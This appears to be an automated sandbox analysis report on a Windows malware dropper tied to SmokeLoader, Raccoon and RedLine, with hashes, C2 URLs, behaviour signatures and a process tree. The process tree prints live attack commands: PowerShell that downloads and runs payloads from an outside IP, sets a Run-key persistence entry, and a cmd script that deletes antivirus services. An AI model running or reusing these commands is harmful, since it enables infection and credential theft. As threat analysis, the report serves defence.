Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-08-2021 07:19

General

  • Target

    c2dca8c1ee828b456168f4e3d1b693e1.exe

  • Size

    207KB

  • MD5

    c2dca8c1ee828b456168f4e3d1b693e1

  • SHA1

    e85b5350026fe01f4ada9eceae8c8e0c3a6ea29d

  • SHA256

    1d6c4c1009a17e69ab04390ea26068125ce2a572a0d133e3145b225184de7ac0

  • SHA512

    533f98309d2773a5065c62d8d6d756df85bb79c1f1b01ccf6cab789b36a700dab82fbc6b85fe80746d2f2d24e999eaf567f4751f7799492a86ac1aa0f06a0f10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 2 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe
    "C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe
      "C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1924
  • C:\Users\Admin\AppData\Local\Temp\DC6.exe
    C:\Users\Admin\AppData\Local\Temp\DC6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:112
  • C:\Users\Admin\AppData\Local\Temp\1372.exe
    C:\Users\Admin\AppData\Local\Temp\1372.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:588
  • C:\Users\Admin\AppData\Local\Temp\174A.exe
    C:\Users\Admin\AppData\Local\Temp\174A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:340
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1244
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        PID:1420
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1648
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:1516
    • C:\Users\Admin\AppData\Local\Temp\19AB.exe
      C:\Users\Admin\AppData\Local\Temp\19AB.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:560
      • C:\Users\Admin\AppData\Local\Temp\19AB.exe
        C:\Users\Admin\AppData\Local\Temp\19AB.exe
        2⤵
          PID:568
        • C:\Users\Admin\AppData\Local\Temp\19AB.exe
          C:\Users\Admin\AppData\Local\Temp\19AB.exe
          2⤵
            PID:1036
          • C:\Users\Admin\AppData\Local\Temp\19AB.exe
            C:\Users\Admin\AppData\Local\Temp\19AB.exe
            2⤵
              PID:1348
            • C:\Users\Admin\AppData\Local\Temp\19AB.exe
              C:\Users\Admin\AppData\Local\Temp\19AB.exe
              2⤵
                PID:1184
              • C:\Users\Admin\AppData\Local\Temp\19AB.exe
                C:\Users\Admin\AppData\Local\Temp\19AB.exe
                2⤵
                  PID:1072
              • C:\Users\Admin\AppData\Local\Temp\1CD8.exe
                C:\Users\Admin\AppData\Local\Temp\1CD8.exe
                1⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:1660
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:1940
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:1180
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:2028
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:1964
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:580
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:824
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:1180
                            • C:\Windows\explorer.exe
                              C:\Windows\explorer.exe
                              1⤵
                                PID:1920
                              • C:\Windows\SysWOW64\explorer.exe
                                C:\Windows\SysWOW64\explorer.exe
                                1⤵
                                  PID:1584

                                Network

                                MITRE ATT&CK Matrix ATT&CK v6

                                Persistence

                                Modify Existing Service

                                1
                                T1031

                                Registry Run Keys / Startup Folder

                                1
                                T1060

                                Defense Evasion

                                Modify Registry

                                3
                                T1112

                                Disabling Security Tools

                                1
                                T1089

                                Virtualization/Sandbox Evasion

                                1
                                T1497

                                Install Root Certificate

                                1
                                T1130

                                Credential Access

                                Credentials in Files

                                2
                                T1081

                                Discovery

                                Query Registry

                                4
                                T1012

                                Virtualization/Sandbox Evasion

                                1
                                T1497

                                System Information Discovery

                                4
                                T1082

                                Peripheral Device Discovery

                                1
                                T1120

                                Collection

                                Data from Local System

                                2
                                T1005

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\ProgramData\Runtimebroker.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • C:\ProgramData\Runtimebroker.exe
                                  MD5

                                  518c48c949a23e850527624b8755718b

                                  SHA1

                                  eed6cb4150568733695c6b5dbe64e89fe77f82f2

                                  SHA256

                                  95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                                  SHA512

                                  9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
                                  MD5

                                  02ff38ac870de39782aeee04d7b48231

                                  SHA1

                                  0390d39fa216c9b0ecdb38238304e518fb2b5095

                                  SHA256

                                  fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

                                  SHA512

                                  24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
                                  MD5

                                  75a8da7754349b38d64c87c938545b1b

                                  SHA1

                                  5c28c257d51f1c1587e29164cc03ea880c21b417

                                  SHA256

                                  bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

                                  SHA512

                                  798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
                                  MD5

                                  be4d72095faf84233ac17b94744f7084

                                  SHA1

                                  cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

                                  SHA256

                                  b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

                                  SHA512

                                  43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
                                  MD5

                                  df44874327d79bd75e4264cb8dc01811

                                  SHA1

                                  1396b06debed65ea93c24998d244edebd3c0209d

                                  SHA256

                                  55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

                                  SHA512

                                  95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
                                  MD5

                                  597009ea0430a463753e0f5b1d1a249e

                                  SHA1

                                  4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

                                  SHA256

